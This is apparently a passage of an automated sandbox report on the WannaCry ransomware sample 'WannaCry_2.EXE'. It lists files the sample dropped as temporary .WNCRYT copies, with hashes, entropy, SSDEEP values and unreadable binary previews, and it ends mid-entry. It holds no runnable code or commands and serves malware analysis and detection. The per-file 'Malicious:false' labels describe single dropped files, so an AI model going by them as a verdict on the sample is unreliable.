                                                                                                      SHA1:BE791EE43781DF1D6D022D311D73B11D475F5FEA
                                                                                                      SHA-256:4AA44F00032F6E5C8CFA063EBFB1F546BBFDB5AB0A46A8D7164C4442D70B5AA0
                                                                                                      SHA-512:6E2B941E1188C20DB1D00EF15BC1AAAE2642049B56041083A56E43EE24D8BAB5953502F3E3E5A490C03F76ECC70B21021FBC3180262A438181EAFD38CF3654CE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...z.'....n..d.9.!..B..5...y......-.r2.d..y.o.z.3...^..s....?[...I-.F.......S.g..%.#......I.rO".....<.j.~..e.t..9;.......b........jj,..9....l{..&..I.@..2.$....ou.d.&.XC.:. .].n..".._L?b%.Aw.4"|...-m.#X87.K^.o.b)...;.o.6.....#.m....\.zj..:kb.Y..$........h....s..d...1[.......ip.m.0....iO5.0Nsx]b.l....N7v.73P.|..Z....?PF..M4<.E..G.s}%..........%'..h.+...:k..K)1x B..U.g..q;.....C.^.!./.) eb.fxV..`....N.j.1..Z.9.......i...fw.a0h.....8.b..l.x...x...'w.^.^/v...{...|p.I....n.Y$)....Q9....^:l:. ..;>.....Q....@..&.G......|.Qd.&.>.C...m.B).SD.T..L ....M....H...j)c.eP.Ri.F..mJD.........{....my.......=...3c/<.J....[9.z7. ..s,g.>m...|$..Az.....E^...x.....p.....voU........oD..L....#._).i..|.....E.7K%......o...1...M+A.s....Xv.......Tz..c.T..Dy.......R...i.(UK.D.......C..Hw<......<..Z..I.'W...i..RG..e.##.u.Ht.C....S..U..v.....l.k`.`.:.(7.TH%..e.~...6..+*.jN'....S.....o....G.p...j.....x!....q._.....dC.D.&......JEg.....E.......5N3........e|h...2..H....'.

                                                                                                      C:\Users\user\AppData\Local\Temp\49.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.821585253451962
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:5sYWndV6SvfJQqVDfjse77RZOZyvHHhPuuuvonBpa:KiSn5Jfjx5ZO8vHBmunPa
                                                                                                      MD5:958A816B53094792235B17E42674A25A
                                                                                                      SHA1:DAC9CDD551250447E0E1A218FB563A8C3AFF329E
                                                                                                      SHA-256:F2D592F202A98F9ECA191B54C8B3A66D45964441D97EB065CD835ECC66650F86
                                                                                                      SHA-512:A57A358112CEA0A9153CD957D96A0B0CC08FD05601BCC6BAB1FE40B1C01D974EC6481D9A83AECC7AFE02E2AD30FF12D35EC6C5316AD77F3D43330B9AE0FD5F82
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:'t..W.M.v_......N../.ks...~.BM..2..3....c0).|B.r...JbI.Q....[OFj.>...YMv..+Om.;..?Nw.X.Q+.....j...9.n..).(.....PW....a..,.l..V7.C/...n...,.g...L...;E.c- ..b..i.h........^W:..q..e....3..........x.*I.`..I...B..\......../...!.S...e.......:E.A....NJ5,.vq..{J.g8.E...k.D..N.r.w...7....pS...* .A.....l.h..Fx.".....[.1.qd. ..1..G..j'.R.....9..|..g4...S3.#.A.X...U..y"Q..Y.kuc.[....@....'....V.A.H..V>v......O.o..0.....W..9......a..!z..m..^..\........l....].SH..+.....~.h.R...f.W...|..F......$................M.[..4....%....`..mI..h..&..j....4O.kl..lz..R.sw..w.&%.|6.[..7VQ.c.T....%..X..yA...>a....$.Zb6.c~fN..8....I..3....&.G...s...,........".>...F.....U..FB...]p.P.........E..z...J..JW...ija....t..:8.:u.,........0.........x..kd....Km...n..YX...*Z..e....w..<......*...(.x.l.lI..+..}0@.:..*8....R..A....B.?.d.J.....c^.t..,..'.[2.(........!..H...>...0.........?.|{H..+...M.....ep.x......_'...T.h..p.x.....iP..s...Z...P..?...ujb]{5p..=..vc).aD...._.|.E6y..p.

                                                                                                      C:\Users\user\AppData\Local\Temp\5.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.818458486059726
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ZqRH2t/OvUp2123qOA9UKU5uk2ST83HCfd7SyA1YTJI6vKo:kRZIA9UX5uD4NAam6io
                                                                                                      MD5:F17A1BF5BBFF07FEF30CF8DC5F0AF0A7
                                                                                                      SHA1:861664D92A7FEA5B9FE96778C98D6EB6C75EFB0C
                                                                                                      SHA-256:48310F453197CA4A5A115EBE857F19C1D7F4346A347FA0C216FCDC39C5E3CF50
                                                                                                      SHA-512:E1E4138F774142CF93F1E4E1C64E10B391F0C4A9A87B838AFE85A7EEBE6EA37F73CDAE9CE22230B00D24CB24FAFDF2DAA593A20DD50CA27E93B64BD31C88A987
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..'\II..qt.....X..I..4S...<.f....p.............5>...z..v65.X%.q..4. .../...0....'...0..E,*.DVB.....T@..FPk6.e......a.*a...'..X...t.......s.MW....w...I.f...2C1..cV.Z.9...r.............n..+..s.!.U[..Bi......XK.3@.<..[.y0kC...r.G...C...3k4......0.4..].Z$......-@.C............A.E....).-.:..@7.=............u.M... ...M........q:.'...0..#.+]ygm..`.yH.....{?w....X...yt.O..W.+.?.....K........AC!Mn....H.Q|.xOl........H....+%D._.`k.D.y..R}.#J..M.y....}hG.^(....i].t......vI.....8.B^..(......^7..[.A.c...TS/..}X/..5.T.).I...-.....n...J..S*h?.|...D!.s0B\.(.Z.E.c.....#I........Vw./..vj...w....1.t... |)...n.....\..l.1.....+x...5.m.g..[..r...=....o^.B.........}.>x....> Yp.f.)....a/...c.......;.-N%HP.K.R...a....s...uC...n..A.....x...AM.....3..t.....L.:.q.[...1...#.2Fjr8...{.=.,....N....BQs.9..kZ...v?3........>._..r...-T...e.U..aQ.....A.iP..1.&..Z&.....}.B.....-?d/...h.C..."...>..0.....V~.:..n.U.+.c..5CY.6H.DNj9y.[M...........A.' ^`.......E.)..d......c.s

                                                                                                      C:\Users\user\AppData\Local\Temp\50.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.816162427794549
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:1g47Sizv1XcQQwr8a9Tv5xKxb38Vt+279ZmL1El745n:i0S6KQQja9D5xi38NME7sn
                                                                                                      MD5:82D7B56C35862A558FEBDA6813342288
                                                                                                      SHA1:C463F4E716AB92FBE3E0C5BEF5A08A7685B4706B
                                                                                                      SHA-256:BC56AA71FFEB0A6072FE6D595008C0E55404837D57851ED1E8153E0B58B30DC1
                                                                                                      SHA-512:88B01122C578DE36020C06591BE85A08E21C975AD4DD20F54DFE75ACC445CBF4F837ECC53A97AB59D210093599BE0E947A0F3963ECF49F96FC315CEF893DA4FA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.....MX.W.d...PX..)....;j...}F._..P..U..xb?X-..(......q...H:.FN\...".er#G...l..|............".L6....Q.^../..]......0......$..U.|W.......D..........N..-Fg..k..p.|{.M....Nf..}.....2..B..^......}hU.u......u.a.B.V..\.\...:.Ao.(X..8.h.zR].C..v.D/._.....a..Or..23....7./&......N....U..HZm..=....J?.B..%.....nES.b....C...x.H...Eu...Y.. ...UAPm..u......n...............[.&..p5.[.../.<y.o.a....w.r....E...CC..!H....q.. #.9.V.i.K........I_wn..B,.......N....>*.w..4.6-e{.g..!...Oz.......m.A....k........@.,...9{..r....N.z..~m.<ZQ,.(~7..)M.}.a.....Z.....K>c.......@./...(h.u.).}3.e.....8..d.(.......)."T..S.9....._../.......L.i.._.....uP..D.....*.E......r..m...O.."f..&Jf\...s.T..Z.....T.K..`B...%*...7a0v..c $,E.>...-......<W.<.c.p...apg.z..<./h.E..%.9.;..v.....L................r.....K....z}<;...v...b.w....3D....<.y~..........G...c.U.J..4K.......%..j...K..>...!{..Q...%.R.z!?..<?e...F.....Gi..5....(.z.'w$M..@ ..k..mZv...*..A.@.{...c..nU>..>%,gJc..>.xk.N.

                                                                                                      C:\Users\user\AppData\Local\Temp\51.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.823907369025056
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:y0cD4nruqdcCv+2vC9EyLzoNfUeCynz8EEHWQP1dGh6cBk0pezLe:y0M4nrucW2vOE3NfTz8EFQ9dGh6z08e
                                                                                                      MD5:B9CC2D9341CA7479A574290C5C34782B
                                                                                                      SHA1:773F8C36C734F9D70895F015944100847169D73E
                                                                                                      SHA-256:097198641B84D72003EDBD962671A2CDCBDCCFAC7D60F929B9902A0911A11ECE
                                                                                                      SHA-512:4DD883F0BC7F10A989E2665D020D269DCEC335B0B5CF8FDB051DF5DEF936AFF40CCE92590D1FF163304272700FE6A5F8A2ADDC8E4EEBF4D53B55B87D6F4AB236
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.-.<..*XM.w..@......s._.:g3...B...YJa.I..=..a.|2O-@or.}V.A@...6...I....T...S2...L.....*..(.n@W..=.tK/...\..e0<Y._....A.z..Z...@.s..O.(..Z.''.~.._R..AT.8o[..z S...K.Ut..q8.B..._..l....<W...[.z...<..X.B...c.a.........A.k..s....`...o"..X.nY~..of..Osx.='.o..%V7..\...r1E.-..s.......72-_zE^...:.. ...%.`..=x7..~.)..Z.:C.8X.3.M.N6n..L..Q...h.......@.b8A...n$...p..#.../9.V.)Lj..@.......C..P.Q..]..9...(9c.6...pR.YkP.].......B.&...v.l.....g.(}/.....ucHT...&h-l......s.|..^2_.\..O..>......t..C-.....NW..V.H..l4..>.^O..r_J.Z.^E4Y+....Ay.2.7...bd...j;E7......`+[v~c.........".5V.B...f.Xs..5.._...:kt;....:....*.....^6...?.....c..(K.$.O...7.......e.........JTU....(....s.....'p....d....R..a...!.H..Vl.<..\.Z...T59..f.....l{..`.C.;[S.c...J)3.q.v....d....b...+..UZ9C.\.$p(..k9}.H.v...4..r.6.M...?..2...;P-5..{.Iq..i.<].L......2........_.VO.ds..zU({.B...).3....i...Dp..%e..N..2......r..L?..*.bQ6...4.`R...O..K@.,.l....F..V3..E.;R.>..w..Ga=#..G.D.W.%........

                                                                                                      C:\Users\user\AppData\Local\Temp\52.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8120425036741805
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:35hT/RJpHhL5/eyJXFUzL8x2bk/UiP9ggsvkFCZV30iKYF6:3TT/RJp7/ey1FUzIx2bC7bGZVHKYF6
                                                                                                      MD5:86212D38FE448C483C5AB37D5F44F76D
                                                                                                      SHA1:611F284976B59953153CE2523BD76EE47E2AF08B
                                                                                                      SHA-256:C8EA0ACF20BBCAFACDD7A9E8786F957C48B14250F38584D8590A7B4E175F5E33
                                                                                                      SHA-512:6657669D8553693A5F1CB38756C900565EC2AE6A32C025D44588D8A5B395C916213F19BA0E1FE2D7212045AE3624CD9C1737FA515E367B8F7D2675A2D5155B50
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:*&a.bv..1-6...N.A...e...k....$S...qO..r.=4.|g.z4...pY R..}..+Q..J;.`.C...L..Ll:.+f#......a4,...=@X+.-.j.,'Y..C...3.;7BxN......%.....f..1....(crS..y.;9.}..$.[.5...<H63.+...e.}...f..... y.o._.. ../.... .W..K>...o..g.....:..c./.0..4...vi..O1}..j....3.s....;+ -...-K.O..@.Q#.ZpC...%s...0...F..9|<w............m...[...d.>X..(%yb.e..!..Ao.\..[....T.w,qI.U. ~!....\d.a....3.~..GW..O.~.A.<....c..+..TN..5..m...g.K.l.-.ubrU<i.....W.4..k.........e...5$.4Q.B...v..Z..:...4.......RwyTsY.P..;u.^e:.....{$.Y..t.....9...&...$.YT..k.Y./...M.....{..?..\NXd...S.d...J....F.u.U....G... .....6..y.gF.......a6..!d..r..Gr.. .Y......&?.If..\;.K..2.5^}..D9K..mF.g.e.I...+..........(*..Rk.Z.\/.....C...l.....\.Ec.z[.=.j.A..K..r...,.....[Z.......`..Y...+.l...G.&.K..N..j......{.R..`..n]..'.=..98e>.<UX5.{?O9.0..I{.r.......l.&..N|*.#......O...X..._.T.jn.....[...k;:...".NN....E.#SS`..U..>F......EJ.I.r.__....{..;t...r....n...%.I..:l.......y.6.....s/..I...\()gIc2.z.X..0B....$.

                                                                                                      C:\Users\user\AppData\Local\Temp\53.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.814431141604277
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:GZK+1FwMFooqVMqpPwt02HbVFdS7G2UIQ+1:GZ3P1k7PwK2H5LSYIh
                                                                                                      MD5:FC0B49013BB7E22292842EA654C0B215
                                                                                                      SHA1:288AEF4910E5F6715C6F4A3D96C4199D17B4F5A9
                                                                                                      SHA-256:AF4FDCE3EDFE9B754DB3E2B0CA9917132B6FB61261D4AEE9F288236E4222FE33
                                                                                                      SHA-512:115EECA149F17752301A530D593528F18896D7DC6B319E02A86AA78E2F1D31E3E8342B7BBD04A2DEABBE5C24825F51278945D4DA5458A111EF46FF7CA0F8E6F5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.....9g*+.y..s....b@..}.p..%.#..iM9..d...w.}......aG..Q.J~.|%..E.@..:B.....2.#.{.7.7..a.l.+8V... :......L.4.z<.'..~..v`.UU;...h.K.y....h.+J.3H.C.....Y@.T........9."}.............$.....7..E^2D\..d..q). ......qJ).....7....#.#........nI.*....W.h.....9.q.9hn..r.N....J....!..=.<.(.F/....O*.....k7....Q..qu.G...d^..T6I/...U.U...qY.s.;o...<.......J.`.........hi.....kR...v.).4...!.........y.I..{......k.,...-..~y.?...<....t(j../.Pfr....S..T....'ha.m...U.=k....&....Hd(.,R0.[...........jI.6.M...a.jL>.....|P.an..}@(...*....H... ...r;.....k}........7..;...a.s$.X.I.;....:...D....z'...b..Pt....!Z..c&..AD.u.....pYt..$....,}..X'o.}+kU..... .W.7,..^qL..._...0v+.n...j..t.].E..$.....[...t-...A'h...@..+...S.y.4BL.~.....'~-.........-c|..c...O..@.$..K..e.....w.....R]rL}..y.I.`...a.f.bS..A>.!g.yS..~.....fz.U..cnGo.6.3..9....2iW.F..........B....)....@.>We....H..:.1..f-.........f..p...df...b.....!...*e.8.....S.%.^....JL.......f......9....u}.T...QA...

                                                                                                      C:\Users\user\AppData\Local\Temp\54.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.795927456239765
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:KiM3/6w/kuPKjWtB81b0CCSO1FHmphqYdLDmt3KsITyb:KH/zdPKjWtgQCrO1khqYdLD86fTyb
                                                                                                      MD5:05707DECB47C75AA9309AE9F97B5A841
                                                                                                      SHA1:2420C4E37BF3DBBBF399E318B64E627866C053FB
                                                                                                      SHA-256:4F79140694F8D97A6D91C98902E9C6F4ADB3E4895E52CD4D7B4519F69A439660
                                                                                                      SHA-512:BB3E8E448FDC76886E49B25B7E8F88B9F6360A2DA66FB920725C1D4B983AB6EE8D44BB9C54AF0FEE8760C37FB5C4C0708F113B0DAB6B330055FB5A4AFE80EF64
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:D/....9..1......WE.C.@..L..>GJ.M...*...%!p...!?.!\...'6x...~....!...PV.K......E..=..q..0.LR.`.''...&.........4...(#Im.}V..u{%.sw..)K~.F...e...S4.5.F.I..~.CPG..i.{.d.oF..f.t....L0....E...W.X.pt..z.&Oy.Q...X_.U..E..w.0?.a....&hs_.,B.....7..7'.s6V.....v...t....|......b.$'...@*d..2_bZ/......o..K.'.+."..;.U!.J -..,&Pv.sj;;)r7......X.x....y ....U;......yz.]..*.F...6m3. F..A....@.yQ......[-......w.5\..?........H.U.i.qp.&\..e...t.....~....X........iU....rc>pa..O.)B....f.AW.S...D;ib(Z.;...[...~.s...;.+)9.....q..:..2...6. ..../..^..,.....h.(...3.T/.Y.%...e.7Ai.x..C]\...4.Ny.....X|B}.....0.Zl.2w..-.....CN.....0l...;.F......W.2=.....u.r.9........>U...m..M.Ha.3....En/.4..........r.w..y....h.TS...&ICo..Qe$.Q.t........g..dOL]..c.......slu.0N.j.^..{.....<......).Xb..^....4= ..M...^6W....~t.&=..L_W.........~:l,.[....f..|..FW......0.....d9T..T.o...../.}......,...n..&...N{......+..*d./_.K3...&.. ^$.xT+.m...3...U..u..F..7..q.;67*.....`C..-2.U..6s.

                                                                                                      C:\Users\user\AppData\Local\Temp\55.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.838328973706292
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:zFM8+CQKcBGgwQa3HJDrNr1nkgO1LcHQYJ4ZHz6jLPsMenu7n:Jx0PGg8HRPk/cHb4ZHzGLkt4n
                                                                                                      MD5:7230232429D2CCB5CB5198C11A10ED88
                                                                                                      SHA1:02434E763AFA90D614FAB2FDA2B6B462E3AE72BA
                                                                                                      SHA-256:5D8A4CDA819ADFDA335DD9E6275E29DF7D091D38B0F022C7EDDAE97FE1B2575E
                                                                                                      SHA-512:CF3AAD47ABD09612F43D87701BDA1F055B7D0F945C53968F0835023BE05389601DD88E33A221D4A36FB33DBBDB53C766092F1A7324EA04E8741BE502C3B245B5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:o.:..6.....%........F.58....T.bZ.\..,.PO'_}..Z*..x.vK..l.."w.>d.P..8*.Z.zDx..HV_......f....>.5.. .F...u.nA..U.T*.|eK.......;.\j-6....uU=l/...X..T._....y...}.A...O.K.S.*E7.9....>..t..oRM.or..f.CcR..f... u......tL.....i..de%..."..}.%..Q......Bs..q>.d..M"....U}......q..3.0.|...%....a....s..M.....*Kp.lu.....2..!.[..t...].8....R.z.$..8I .].<?......{B.l.u.Z....fv..!mU]..E...\C>.s......`V.\...y..Y.(R....?..Nl8)k.h....M..5..@B...G......c...U.........'G..vg['.H..%.....9........|.....>..8.z:.o.._.....Z.+...:|d9W..#=Ji.B..K.f..p.&..c.3]4...U....._.bn9.4.@....D#.c.kK.....cI..O.c.7.v~Wk..G.L"KWW7......._.W<.!...r>).."..c.#.x..b.Q-w.-...Z....z...l.u..0'h...7E3.d8.m.:w...t..t...e.F.GYB.......;.w.m.'..f.....^6....q.5.."..$dWMIf.I0!.M......V..5.D.<Z.B..LM....+6.....6.N....T../..3...LD.:.bF.{.^..5QU.c.!.e..C.#..V.S...I...]En.f...)$.Qh.)u..rC...uJj..\BTf.f.H.X.c.5.d.g..{..(..w.".s..b05.......&`..y....AjT...P.|.......(..S...;.z.m.{...(..,T.:|

                                                                                                      C:\Users\user\AppData\Local\Temp\56.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.794739715797955
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:cROGEcpZLr3LBv+MfV4Ese51wGs9OJp8BnjPR:ceU3LNvxTwGs0p81F
                                                                                                      MD5:ACDCFD18FE6915C0576C295B0C73CAA6
                                                                                                      SHA1:5926580079230543D9F67DB5A54EA5D7E5CB06BC
                                                                                                      SHA-256:178C547088AB08210989735732E78C6DAF62D57CB7D33E7E995FE947E0732AC6
                                                                                                      SHA-512:9C77E247D258D3F923B5E259B829AC6A8E9D5C34856E118F825C2BFB070C9017004A0D4D3280FF25FE4AC781FAD5DA0DADFC5FE0D99914DDFB134B94FB749670
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.t...J.=...>..Q........OX....qQ.k..c..S..:.9.x.4.....6.Ji2.V..-.T.B.m.H-....n.4.y62....p..... ]tH....g.......a....t.@.....+..K..mR.%...q.........x.|....j...Rlmn.b$..@`|.u~.7~.u..4.....4.Yw.}H.nl.C'.I..4.6.&..Ky..oZ.5.-.X+.......y.Jg).(...Ax@C.<r...U.f.&4..#..*...Id..f.[.`...P....u..e...c.../..ABV?..).N.p....[...(......%#.....QM)tbaC.q..VQ.......t.j.!. %....'n..........N(e...O.>^.?..T.$RsW...w.@..U.00.PL.Y....lTf2......@.$..b..p..E....1.J.....H......3j...b-8$.eR|.J........V....uP.c~t;.q..^...Z..u(+HQ6.u>.S..0.>.t4R.<VOJ.w.. ..f.P..hhil$..g.....[.*..._.U.Jh;.......\.u{7&O..V..HXr.3X...EEC..Sc9.........u...w......+.....z..j...4..D....../.?....8Bv.....].W..q.\0C=...+......^.....k.{..CB._@...c..$A...4...[$.0Y.L..0"..#....!....V.P...W....s...R.......]..Ob...{=.s.....0M:.'..d.B.b...Mb...8....gD...Q|...!.._....|.D.m!,us|....;&!.u...b.I).'....[.U.X,.`.iw........x...8...l...N.....R.".|.l.b).(`..$.n@wU...Q.an.&0?..\4....v..0s46Xz.FE..0...;......

                                                                                                      C:\Users\user\AppData\Local\Temp\57.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.840733751960234
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:D1+C1vHrImntPFmc3U6BeHxCo9jHGASJY/iSXba1jFRztq4dtFf:YClLImntPFmc3Je0o5HG8mjZzdL
                                                                                                      MD5:46E9A156C9507EEE1B69B71B75641FBC
                                                                                                      SHA1:3F3161D29EBE73ADA9B7CA5BC20E7ACC7C575D42
                                                                                                      SHA-256:F451BD886DBAD61C4781F354EE1951D536632F4388C827FB4B10429C03A3D081
                                                                                                      SHA-512:BCB45039C53AE8E85ABD9887638E607E9C2F5120F68D45B3DBED9133E5B432797CB387F8E8450DBD910C12EB2B2199C20EB9D8DB8ED6DC060E5874D9F26E384F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.{...]C...K.u..u..f......r.k.9R.=...dtz.Q..&U.X..'..D.,~..k...01.zMV.N.Q.fiX...t.3{i..W?......Rh.z.P.).~!.EHb.3......@*`.>..'.n.......9}2.O{......,/S.!.i.!...^l..h..\T6..'K=..8.1...?.S..s8}F...U;............"..-...QX~N'...#.y4...D.#0...:...k-.H|.#.o.!S...|7.9PW.X..L....e..u..._.u.R.......9.EG'...%...~..A6M+..z....|".H.\...{t'...2.c...i..E%...:ha....4...C.B..ot..C.".H..kp...0.I..5vX..WW..8!...g.m.(..a............=p.i9.......j.y....Nh...g...}.7...E.W...t. EWyR...4.I/(..m....\a...4<.J....-...$i.[..u..{........!&.y..n...6..D/wmZ.~~....6.T..b.5V....HP..W....\....N.]f..k..@..x../......sb.M.c....k..c.*J...).Ya.......P.~./.....<..:...?....r......I.}....vw.Q..]..EHa.+.{...Lc.,..f ?!.X.h...G.w.n>...X.$..0....r}.b..B.s.P.s..X^#~.D....1.....lakw)..Vh....=.1....2.@.kC{O(..p......Cb.\..|...4.re......r.9b.......W..bn.....S.>.s@.o.8..Mz.D:..UY..B..z!......'..fJ.....6>...W.....Z...%Z.......]`.#84d......!.U.....>v\........q..cY.`...WaE...c......~

                                                                                                      C:\Users\user\AppData\Local\Temp\58.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.77849931728795
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:12:2XUbiwjYRGnxZ4nabI4X4rh6OOwhKUIdvljmBP28TGeXwaOeb3qyeAU3ZZN3DyYr:2XUIRGxZmtrMOO2KUI5JMD//E3DsC
                                                                                                      MD5:FD568E7F8BBD7F79864E93E6EF3C296A
                                                                                                      SHA1:D67F819B3F4A6EAC7355AE15F5E3BC3044C283C2
                                                                                                      SHA-256:36C853D1789673DD7EF166DD239F0CB123BFE5F51C3F3E3BBC2EA1ED6E215E95
                                                                                                      SHA-512:ED2496BEE72EE3FEAE180EBEFB09245CBABB23B734E81527F1DBB22149BC3CA76C74A951F996A086DC2A8B0302B978410C3CD938804FA62F4E67886354A78223
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.I.. g=..yw?.#..@.)tg.N.H..~..a.x..G..S.y....T.......D..../7...$.S..=..#......l..\./.7./s..QzD..sJ......../..\..@...#.Q....#.-...Y".[.W...o...".=+.A..w..e...>....@.r..7.RM.a.j..f..+..g.....|.}..y.u....M.7.'q....rQ.}.....E..M5#.......@s...zS?..U...:..v.7*.2.@..{....|.....L...V....*A.jS3...d....G?.VU.4$..OX......U......3*... .mU/..._q|.r.I.1....1....Y.......!.S.v./..`..R,).y......1..$..@.m........1P5.R........B~.z.....\.E....@...7{.....8......KUf-|.[5.0jz.:.......r.rJAQ..B.Zq.G.k.e....... ....s..,.qP.>......).ie,..*...A..^...9.QU. ...E..=e...S. V.~7f..h.I.......5...{[.iq..A.d.0....Hr.v.>U.....m)b...T..........1......!...s.....8k....L.F@...g;_.(~..L.....<....|.! <........Sq..YY.5...z.T....RU65.0...& .W.<...m.M..0....~\Ql.U......PXW.\.&{.y.N....0...:..^G..p.+.^)..k.....*.W=.(;.?.0#.....a7)_........Ob..8W.8........@.? =..2;..8.W......|2.5...1..>.z..;L$.........t;.p...b......9z.'?......m.D...........t\.0.....C.|8J...Y.M.B+E....W.[.h...

                                                                                                      C:\Users\user\AppData\Local\Temp\59.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.778704645529756
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:RZ7NqgmC63pefgL2zSfCnbiV+u9HNcBeep:ggmze4L2whNoeep
                                                                                                      MD5:6306CF422A1C7B65B1578F059515519F
                                                                                                      SHA1:8B2E5763BD81118937A75BDE3A2360C81F33EC6B
                                                                                                      SHA-256:F7F62DD8D78F72E3A1D4E462CBD2D3475EFC3F956F959044B2FC5BE00B1AC78F
                                                                                                      SHA-512:50E8CEAE071EFA91DCE565A65B7571553556B1B9D19D8494E04D9E0F195F14C23666C792CD227DDA1F878D71920663D940E67118416C4D624EBC439B48F8D727
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:&..c.+'q.-..x.A:+...N..s"..i_V.x/.;....F.i'.Z.,....r?XdY.+./.?y....b..-.3..3Q.n..7.Fx...`..Q]O.4....!..7{.....@.x.ju.."p....X...0[f.......P.)J...rx..d4...M:..|M..d.`.y.......A...J....V*vTev."R.M.S`.X.Y.D......9...Pf......Dj.`..Ms.I..!>..z...V...3.....H....G...x.G.....j.......Mh.............C.F...4.}$y..G.......f.n......... v.x.p-..K.!8R$';....+....<'=.t.R,.o...j.uN....D.A.T..t,>..;.5...8....Pl..@P...S....=8\/|K<..$r"..?........Jo..!..W.......1.g....e.%..H.RPIj..=.7............2S........I.....-...H..xF4oD....FR..w.[...C..#t...X.|8.a.$..f.";...'d.)....|.....e.-..~.d..+m..>.R6m...._.EW."w.....P......h_._A.....efh......r.SB..?.~.T..i.8Q..q..;.y\.........u.J..t..r..l&.-R!3~..C.^h.*t.....G..f..x....<@R..]..#3b..|...Z...E...BK...2Z.5__..B.A..............}.T.R4['...O"G..*..7k.q..5OB..z..m.Me0...o..c.vQ..i.JX..Kq..?..........#.f.7}....|.>qR.U..}...Q.@....N..sP.....}....X..;.....W.KCkR..RN.....0.GU..4.........x.M..m.d.K..?=K...X..0N=...q....o

                                                                                                      C:\Users\user\AppData\Local\Temp\6.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.817219438467339
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:3KYonPvRk/GbtgtqxT8q1/dOcA8rOFH4dWFwPMipa89:3KYmJKuwqxT8Igc/ryHSft
                                                                                                      MD5:6C64EB7602C28DC8E2F1C668E6AA76BE
                                                                                                      SHA1:EA0F74D24F0CF73EF0E849EAB3F5DBD37B35CB63
                                                                                                      SHA-256:5DE2917587EBDCDD1F98D637E668F3B6B5B9FF6EE9C922C306F31B9E2D824673
